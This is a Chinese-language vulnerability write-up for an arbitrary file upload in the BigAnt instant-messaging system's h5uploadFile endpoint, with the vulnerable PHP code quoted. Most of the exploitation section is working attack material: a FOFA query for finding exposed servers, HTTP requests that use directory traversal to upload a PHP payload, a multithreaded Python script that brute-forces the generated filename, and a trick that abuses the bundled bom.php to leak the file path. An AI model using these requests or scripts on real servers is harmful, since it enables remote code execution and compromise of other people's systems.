大蚂蚁 (BigAnt) 即时通讯系统 h5uploadFile 任意文件上传漏洞


漏洞简介

杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 h5uploadFile 接口存在目录遍历+任意文件写入/上传漏洞,攻击者可以通过上传特制的 php 文件,执行恶意代码,实现服务器的远程控制,可能导致敏感信息泄露、数据篡改等危害。

影响版本

BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响

fofa语法

(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"

漏洞分析

直接看 \Addin\Controller\UploadController::h5uploadFile 的实现逻辑的初始化方法,涉及鉴权

public function _initialize()
{
        parent::_initialize();
        // 权限检查
        if (!sp_user_islogin()) {
                $this->response(["status" => "0", "msg" => "Unauthorized"], "json", 401);
        }
}

因为sp_user_islogin的存在,因此这个控制器的方法需要授权后才可以访问,下面看h5uploadFile()方法的实现逻辑吧

public function h5uploadFile(){
        //获取post提过的数据流
        $file['content'] = file_get_contents('php://input');
        $file['type'] = I('get.type');
        $file['size']= I('get.size');
        $file['filename'] =I('get.filename');
        $module = strtolower(I('get.module'));
        $saas_id = sp_saas_id() ;
        $rootPath='.';

        //上传参数
        $options['file_size'] = 480 ;
        $options['thumb_size'] = I('thumb_size')==='none' ? 0:120 ;

        //获取上传路径
        if(strtolower($module) == 'pan'){
                $rootId = I('get.root_id');
                $folderId = I('get.folder_id');
                $dir =  \Common\Lib\SaasSDK::getStoragePath($saas_id,$module,$rootId.'/'.date('Y-m-d').'/') ;

        }else{
                $dir =  \Common\Lib\SaasSDK::getStoragePath($saas_id,$module,date('Y-m-d').'/') ;
        }

        sp_folder_create($rootPath.$dir);

        //上传图片
        $res = \Common\Lib\SaasSDK::h5UploadAnFile($options,$dir,$file);

        //获取上传图片索引
        $res['index'] = I('get.index');
        ob_clean();

        if(strtolower($module) == 'pan'){
                $res['root_id'] = $rootId;
                $res['folder_id'] = $folderId;
                $this->h5PanUploadCallback($res);
                die();

        }else{
                $this->ajaxReturn($res);
        }

}
  1. 文件内容: 通过 file_get_contents('php://input') 获取,用户可以发送任意二进制或文本数据。
  2. 文件名: $file['filename'] = I('get.filename');,直接从 GET 请求参数中获取,未经过滤。
  3. 模块名: $module = strtolower(I('get.module'));,影响存储路径。

通过 \Common\Lib\SaasSDK::getStoragePath 生成存储目录 $dir, 在调用上传函数前,代码仅对 $module 进行了判断,完全没有对 $file['filename'] 的后缀进行 pathinfo 提取或 in_array 白名单校验。

重点关注$res = \Common\Lib\SaasSDK::h5UploadAnFile($options, $dir, $file);跟进看下

/**
 * h5 上传文件  服务器存储是 , 目前支持一个附件
 * @param unknown $dir        上传保存路径
 * @param unknown $uploadFile 表单提交数据
 * @param unknown $options array(
 *                         "thumb_size", 缩略图的尺寸
 *                         "thumb_only"  1 只保留缩略图
 *                         "rename"  0 为原始文件名  1 自动命名
 * @return array status
 ["file_name"]=> "Hydrangeas.jpg"
 ["file_path"]=> "/data/uploads/2016-02-17/fd.jpg"
 ["file_size"]=> int(595284)
 ["file_thumb_path"]=> string(5) "/data/uploads/2016-02-17/fd_s.jpg"
 */
static function h5UploadAnFile($options,$dir,$uploadFile){
        //获取上传参数
        $fileSize = sp_array_value($options,'file_size');//上传生成的文件大小
        $thumbSize = sp_array_value($options,'thumb_size');//缩略图大小
        $thumbOnly = sp_array_value($options,'thumb_only',0);//0:否;1:是         是否只保缩略图
        $rootPath = '.';

        //获取文件扩展类型
        $extArr = explode('.',$uploadFile['filename']);
        $ext = '.'.$extArr[count($extArr)-1];

        //获取文件类型
        $file_type = sp_file_type(strtolower($extArr[count($extArr)-1]));

        //将文件数据替换解码
        $fileContent = base64_decode(substr($uploadFile['content'],strlen('data:'.$uploadFile['type'].';base64,')));
        //上传后原图的名称以及图片大小
        $org_name = uniqid('addin_',false).$ext;
        //$org_size = $size;

        //上传后原图path
        $org_path = $rootPath.$dir.$org_name;

        //写入,生成原图
        sp_file_write($org_path,$fileContent,0);

        //针对.webp做特殊处理
        if(strtolower($ext) !='.webp'){
                //修复旋转,需要php支持exif扩展,暂时关闭.zouzc
                self::repaireImagexif($org_path);

                //生成新图名称
                $new_name = str_replace(".","_big.",$org_name);

                //生成新图
                self::thumbFile($fileSize,$fileSize,$org_name,$dir,$rootPath,$new_name) ;

                //删除原图
                unlink($org_path);
        }else{
                $new_name = $org_name;
        }

        //新图所在路径
        $new_path = $rootPath.$dir.$new_name;

        //是否生成缩略图
        if($thumbSize && $file_type==2){

                if(strtolower($ext) !='.webp'){
                        //生成缩略图
                        $thumb_name = self::thumbFile($thumbSize,$thumbSize,$new_name,$dir,$rootPath) ;

                }else{
                        //拷贝文件
                        $thumb_name = str_replace(".","_s.",$new_name);
                        copy($new_path,$rootPath.$dir .sp_charset_in2out($thumb_name));
                        $thumb_name = $dir.$thumb_name;
                }

                //缩略图所在路径
                $thumb_path = $rootPath.$dir.$thumb_name;

                //是否只保留缩略图
                if($thumbOnly){
                        unlink($new_path);
                        rename($thumb_path,$new_path) ;
                }

        }

        //返回数据
        $fileInfo['file_name'] = $new_name;
        $fileInfo['file_path'] = $dir.$new_name;
        $fileInfo['file_size'] = filesize($new_path);
        if($thumbSize && $file_type==2){
                $fileInfo['file_thumb_path'] = $thumb_name;
        }

        return $fileInfo;
}
  1. 在 UploadController::h5uploadFile 中,$file['filename'] 直接接收了 I('get.filename') 的值。
  2. 进入 SaasSDK::h5UploadAnFile 函数后,程序使用 explode('.', $uploadFile['filename']) 对文件名进行分割。
  3. 语义展开: 它取分割后数组的最后一个元素作为后缀 $ext。例如,若 filename 为 cmd.php,则 $ext 确认为 .php。
  4. 程序接着处理内容:它期望内容是 Base64 编码的 Data URI 格式。通过 substr 剥离前缀后进行 base64_decode。这意味着攻击者只需将 php 木马进行 Base64 编码并包裹在 data:image/png;base64,... 中即可绕过内容检查。
  5. 危险的写入: sp_file_write($org_path, $fileContent, 0) 此时已将 .php 文件写入磁盘。

看下文件类型sp_file_type的实现逻辑

/**
 * 得到文件类型
 * @param unknown $ext 扩展名
 * @return 0 未知  1 Office  2图片  3视频
 */
function sp_file_type($ext){

        $ext = strtolower($ext);

        if (sp_str_pos('doc,docx,xls,xlsx,ppt,pptx', $ext))
                return 1 ;

        if (sp_str_pos('gif,png,jpg,bmp,jpeg,webp', $ext))
                return 2 ;

        if (sp_str_pos('mp3,mp4,avi', $ext))
                return 3 ;

        return 0 ;
}

只要我们上传的filename后缀不是gif,png,jpg,bmp,jpeg,webp且type=image/png或thumb_size=0,这样就不会进入缩略图处理流程if($thumbSize && $file_type==2){,这样可以确保程序路径最简化,直接绕过所有图片处理逻辑,将文件直接写入磁盘。

我们还需要关注的是文件名生成部分$org_name = uniqid('addin_',false).$ext;

使用php的uniqid函数且前缀固定为addin_+用户控制后缀组成。

如果文件后缀不是.webp,则都会经过如下处理

//针对.webp做特殊处理
if(strtolower($ext) !='.webp'){
        //修复旋转,需要php支持exif扩展,暂时关闭.zouzc
        self::repaireImagexif($org_path);

        //生成新图名称
        $new_name = str_replace(".","_big.",$org_name);

        //生成新图
        self::thumbFile($fileSize,$fileSize,$org_name,$dir,$rootPath,$new_name) ;

        //删除原图
        unlink($org_path);
}else{
        $new_name = $org_name;
}

如果原始文件名是 addin_654321.php,str_replace 会将其转换为 addin_654321_big.php,且如果 thumbFile(通常调用 GD 库或 Imagick)在处理非图片文件时抛出异常或导致脚本终止,最后的 unlink($org_path) 将永远不会执行,原始的 .php 文件会残留在服务器上。即便 thumbFile 成功处理(例如攻击者上传的是一个合法的图片马),生成的“大图”依然带有 .php 后缀,攻击者依然可以访问并执行它。

uniqid() 的生成机制回顾

PHP 的 uniqid 函数在不开启 more_entropy(即第二个参数为 false)时,其构造逻辑如下:

  • 组成部分: 前缀 + 十六进制的秒数 + 十六进制的微秒数。
  • 具体格式: addin_ (前缀) + 8位十六进制 (秒) + 5位十六进制 (微秒)。

举例说明: 假设你在 Unix 时间戳为 1715672000,微秒为 123456 的时刻上传:

  1. 秒数 1715672000 转换为十六进制:66431bc0
  2. 微秒数 123456 转换为十六进制:1e240
  3. 最终文件名:addin_66431bc01e240.php

获取随机文件名

在此系统上获取uniqid生成的文件名有两个方法,分别是直接爆破和利用已有文件进行暴露

爆破文件名

因此上述生成的文件名我们先上传一个正常图片文件会返回一个文件名,紧接着再上传一个webshell的php文件,然后基于时间差来爆破。

利用系统已有机制获取

在当前系统的根目录存在一个bom.php文件,其实现逻辑如下

<?php
set_time_limit ( 0 );
if (isset ( $_GET ['dir'] )) { // 设置文件目录
        $basedir = $_GET ['dir'];
} else {
        $basedir = '.';
}
$auto = 1;
checkdir ( $basedir );
function checkdir($basedir) {
        if ($dh = opendir ( $basedir )) {
                while ( ($file = readdir ( $dh )) !== false ) {
                        if ($file != '.' && $file != '..' && $file != '.svn') {
                                if (! is_dir ( $basedir . "/" . $file )) {
                                        $res = checkBOM ( "$basedir/$file" );
                                        if ($res != 'BOM Not Found.') {
                                                echo "filename: $basedir/$file " . $res . " <br>";
                                        }
                                } else {
                                        $dirname = $basedir . "/" . $file;
                                        checkdir ( $dirname );
                                }
                        }
                }
                closedir ( $dh );
        }
}
function checkBOM($filename) {
        global $auto;
        $contents = file_get_contents ( $filename );
        $charset [1] = substr ( $contents, 0, 1 );
        $charset [2] = substr ( $contents, 1, 1 );
        $charset [3] = substr ( $contents, 2, 1 );
        if (ord ( $charset [1] ) == 239 && ord ( $charset [2] ) == 187 && ord ( $charset [3] ) == 191) {
                if ($auto == 1) {
                        $rest = substr ( $contents, 3 );
                        rewrite ( $filename, $rest );
                        return ("<font color=red>BOM found, automatically removed.</font>");
                } else {
                        return ("<font color=red>BOM found.</font>");
                }
        } else
                return ("BOM Not Found.");
}
function rewrite($filename, $data) {
        $filenum = fopen ( $filename, "w" );
        flock ( $filenum, LOCK_EX );
        fwrite ( $filenum, $data );
        fclose ( $filenum );
}
?>

$_GET['dir'] 参数,无任何过滤直接赋值给 $basedir。

$_GET['dir']  →  $basedir  →  opendir($basedir)  →  递归遍历
                                                    →  file_get_contents("$basedir/$file")
                                                    →  rewrite("$basedir/$file", $rest)

具体执行流程:

  1. $basedir = $_GET['dir'],假设传入 ../../../etc
  2. opendir("../../../etc") 打开该目录,开始递归读取所有文件和子目录
  3. 对每个文件调用 file_get_contents("../../../etc/someconfig"),读取完整内容
  4. 检查前 3 字节是否为 0xEF 0xBB 0xBF(UTF-8 BOM)
  5. 若匹配,因为 $auto == 1(硬编码),执行 rewrite($filename, $rest)
  6. rewrite() 中 fopen($filename, "w") 先清空文件,再写入去掉前 3 字节后的内容

那我们就可以在上传文件时,写一个带有BOM头的php webshell文件,然后调用bom.php去扫描格式化我们上传的文件目录,即可直接输出经过uniqid生成的随机文件名再由bom格式化处理后的完整文件路径,不需要爆破,为最佳方式!

漏洞复现

需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式

/addin/Upload/h5uploadFile.html

/addin/Upload/h5uploadFile

上传正常图片

POST /addin/Upload/h5uploadFile?filename=xxxx.php&module=public/../../../public/home/&type=image/png&thumb_size=0 HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=274lmmnv0trd2dl5djc4toa3gi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: text/plain

data:image/png;base64,xxxxxxxx

得到文件名 addin_698c60e71d645_big.php

上传php文件

POST /addin/Upload/h5uploadFile?filename=tes.php&module=public/../../../public/home/&type=image/png&thumb_size=0 HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=274lmmnv0trd2dl5djc4toa3gi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: text/plain

data:image/png;base64,{{b64(<?=md5(123456);unlink(__FILE__);)}}

可以从响应头比较两个的时间差,可以微调爆破脚本,缩短爆破时间。

爆破文件名

import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
import sys

# === 基础配置 ===
TARGET_URL_PREFIX = "http://bigant.local:8000/public/home/2026-02-11/"  # 目标上传目录 URL
ANCHOR_FILE = "addin_698c60e71d645_big.php"       # 正常图片的锚点文件名
THREADS = 100                                     # 线程数,根据带宽和服务器承受能力调整
FOUND_FLAG = False                                # 发现标志位

def brute_force_range(sec_hex, start_usec, end_usec):
    """在指定的微秒范围内进行爆破"""
    global FOUND_FLAG

    # 使用 Session 复用连接,大幅提升速度
    session = requests.Session()

    for i in range(start_usec, end_usec):
        if FOUND_FLAG:
            return

        # 构造 5 位十六进制微秒
        usec_hex = hex(i)[2:].zfill(5)
        filename = f"addin_{sec_hex}{usec_hex}.php"
        url = TARGET_URL_PREFIX + filename

        try:
            # 使用 HEAD 请求,只获取响应头,不下载内容,速度最快
            resp = session.head(url, timeout=1)
            if resp.status_code == 200:
                print(f"\n\n[+++] 命中目标!URL: {url}")
                FOUND_FLAG = True
                return
        except Exception:
            pass

def start_attack():
    global FOUND_FLAG

    # 1. 解析锚点时间戳
    # 提取 698c5f76
    anchor_sec_hex = ANCHOR_FILE.split('_')[1][:8]
    anchor_sec = int(anchor_sec_hex, 16)

    # 2. 设定 4-6 秒的时间窗口
    # 我们扫描 anchor_sec + 4, + 5, + 6 这三秒
    target_secs = [anchor_sec + 4, anchor_sec + 5, anchor_sec + 6]

    print(f"[*] 锚点秒数: {anchor_sec_hex} ({anchor_sec})")
    print(f"[*] 目标秒数区间: {[hex(s)[2:] for s in target_secs]}")
    print(f"[*] 线程数: {THREADS}")
    print(f"[*] 开始时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    print("-" * 50)

    start_time = datetime.now()

    # 3. 开启多线程任务
    # 将 1,048,576 (0xfffff) 个微秒分成多个小块,分配给线程池
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = []
        step = 0x10000  # 每个任务处理 65536 个微秒值

        for sec in target_secs:
            sec_hex = hex(sec)[2:]
            for start in range(0, 0xfffff, step):
                end = min(start + step, 0xfffff + 1)
                futures.append(executor.submit(brute_force_range, sec_hex, start, end))

        # 动态显示进度
        total_tasks = len(futures)
        completed_tasks = 0
        for _ in as_completed(futures):
            completed_tasks += 1
            if not FOUND_FLAG:
                sys.stdout.write(f"\r[>] 进度: {completed_tasks}/{total_tasks} 任务块已完成...")
                sys.stdout.flush()
            else:
                break

    end_time = datetime.now()
    print(f"\n" + "-" * 50)
    print(f"[*] 结束时间: {end_time.strftime('%Y-%m-%d %H:%M:%S')}")
    print(f"[*] 总耗时: {end_time - start_time}")

    if not FOUND_FLAG:
        print("[!] 未能在指定范围内找到文件,请考虑扩大微秒扫描范围或检查偏移量。")

if __name__ == "__main__":
    start_attack()

可以根据实际时间差调整锚点秒数的范围

可以成功爆破到文件名,适当调整锚点秒数的范围可以大大缩小爆破时间

利用bom.php获取文件名

我们上传一个带有bom的php文件,可以直接使用yakit的自带的hexd解码配合base64完成整个payload的生成

POST /addin/Upload/h5uploadFile?filename=tes.php&module=public/../../../public/home/&type=image/png&thumb_size=0 HTTP/1.1
Host: bigant.local:8000
Cookie: PHPSESSID=274lmmnv0trd2dl5djc4toa3gi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: text/plain

data:image/png;base64,{{b64({{hexd(EFBBBF)}}<?=md5(123456);unlink(__FILE__);)}}

然后访问 /bom.php?dir=public/home/日期/ 直接回显你上传经过uniqid处理的随机php文件名文件路径

响应如下内容filename: public/home/20xx-xx-xx//addin_698c60e764b1b.php BOM found, automatically removed.

访问即可执行我们上传的代码

下课!

至于要为什么要穿越到public/home目录,因为Apache配置不允许data目录执行php:php_admin_flag engine off,完整配置如下

# http://www.PHPnow.org
# filename: httpd-vhosts.conf

<Directory ../vhosts>
   AllowOverride All 
    Require all denied
</Directory>

<VirtualHost *:8000>
    DocumentRoot ../htdocs
    ServerName default:8000
    ErrorLog logs/default-error_log

        <Location ~ /[R|r]untime/>
    Require all denied
        </Location>

        # 禁止下载db备份文件
        <Location ~ /data/.*/db/>
           Require all denied
        </Location>

        <Location  /data/>
          php_admin_flag engine off
        </Location>

    <Directory "../htdocs">
        Options FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>

        ProxyPassMatch  ^/(imapp/.*) http://127.0.0.1:8081/$1
        ProxyPass  /api/dept/op_record http://127.0.0.1:8081/api/dept/op_record
        ProxyPass  /file_server_address http://127.0.0.1:8081/file_server_address
        ProxyPass  /goapi http://127.0.0.1:8081/goapi
        ProxyPass  /choose_file_server_address http://127.0.0.1:8081/choose_file_server_address
    ProxyPassMatch ^(\/\d{4}-\d{2}-\d{2}\/.*)   http://127.0.0.1:8001/$1
</VirtualHost>

<VirtualHost *:8001>
    DocumentRoot ../../im_server/data/file
    ServerName default:8001
    ErrorLog logs/default-error_log
    <Directory "../../im_server/data/file">
        Options FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>

利用脚本:h5uploadFile_fuzz


手机扫码阅读

天地伟业Easy7 downloadWordRecord 文件读取漏洞

大蚂蚁 (BigAnt) 即时通讯系统 loginByToken 逻辑错误至权限绕过漏洞

评 论